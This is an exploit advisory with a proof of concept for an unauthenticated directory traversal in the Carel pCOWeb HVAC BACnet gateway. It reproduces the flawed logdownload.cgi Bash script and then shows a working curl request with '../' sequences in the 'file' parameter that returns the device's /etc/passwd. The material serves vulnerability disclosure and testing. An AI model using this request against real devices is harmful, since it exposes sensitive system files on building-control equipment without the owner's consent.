# Exploit Title: Carel pCOWeb HVAC BACnet Gateway 2.1.0 - Directory Traversal # Exploit Author: LiquidWorm Vendor: CAREL INDUSTRIES S.p.A. Product web page: https://www.carel.com Affected version: Firmware: A2.1.0 - B2.1.0 Application Software: 2.15.4A Software version: v16 13020200 Summary: pCO sistema is the solution CAREL offers its customers for managing HVAC/R applications and systems. It consists of programmable controllers, user interfaces, gateways and communication interfaces, remote management systems to offer the OEMs working in HVAC/R a control system that is powerful yet flexible, can be easily interfaced to the more widely-used Building Management Systems, and can also be integrated into proprietary supervisory systems. Desc: The device suffers from an unauthenticated arbitrary file disclosure vulnerability. Input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks. ======================================================================================= /usr/local/www/usr-cgi/logdownload.cgi: --------------------------------------- 01: #!/bin/bash 02: 03: if [ "$REQUEST_METHOD" = "POST" ]; then 04: read QUERY_STRING 05: REQUEST_METHOD=GET 06: export REQUEST_METHOD 07: export QUERY_STRING 08: fi 09: 10: LOGDIR="/usr/local/root/flash/http/log" 11: 12: tmp=${QUERY_STRING%"$"*} 13: cmd=${tmp%"="*} 14: if [ "$cmd" = "dir" ]; then 15: PATHCURRENT=$LOGDIR/${tmp#*"="} 16: else 17: PATHCURRENT=$LOGDIR 18: fi 19: 20: tmp=${QUERY_STRING#*"$"} 21: cmd=${tmp%"="*} 22: if [ "$cmd" = "file" ]; then 23: FILECURRENT=${tmp#*"="} 24: else 25: if [ -f $PATHCURRENT/lastlog.csv.gz ]; then 26: FILECURRENT=lastlog.csv.gz 27: else 28: FILECURRENT=lastlog.csv 29: fi 30: fi 31: 32: if [ ! -f $PATHCURRENT/$FILECURRENT ]; then 33: echo -ne "Content-type: text/html\r\nCache-Control: no-cache\r\nExpires: -1\r\n\r\n" 34: cat carel.inc.html 35: echo "<center>File not available!</center>" 36: cat carel.bottom.html 37: exit 38: fi 39: 40: if [ -z $(echo $FILECURRENT | grep -i gz ) ]; then 41: if [ -z $(echo $FILECURRENT | grep -i bmp ) ]; then 42: if [ -z $(echo $FILECURRENT | grep -i svg ) ]; then 43: echo -ne "Content-Type: text/csv\r\n" 44: else 45: echo -ne "Content-Type: image/svg+xml\r\n" 46: fi 47: else 48: echo -ne "Content-Type: image/bmp\r\n" 49: fi 50: else 51: echo -ne "Content-Type: application/x-gzip\r\n" 52: fi 53: echo -ne "Content-Disposition: attachment; filename=$FILECURRENT\r\n\r\n" 54: 55: cat $PATHCURRENT/$FILECURRENT ======================================================================================= Tested on: GNU/Linux 4.11.12 (armv7l) thttpd/2.29 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2022-5709 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5709.php 10.05.2022 -- $ curl -s http://10.0.0.3/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd root:x:0:0:root:/root:/bin/sh daemon:x:1:1:daemon:/usr/sbin:/bin/false bin:x:2:2:bin:/bin:/bin/false sys:x:3:3:sys:/dev:/bin/false sync:x:4:100:sync:/bin:/bin/sync mail:x:8:8:mail:/var/spool/mail:/bin/false www-data:x:33:33:www-data:/var/www:/bin/false operator:x:37:37:Operator:/var:/bin/false nobody:x:65534:65534:nobody:/home:/bin/false guest:x:502:101::/home/guest:/bin/bash carel:x:500:500:Carel:/home/carel:/bin/bash http:x:48:48:HTTP users:/usr/local/www/http:/bin/false httpadmin:x:200:200:httpadmin:/usr/local/www/http:/bin/bash sshd:x:1000:1001:SSH drop priv user:/:/bin/false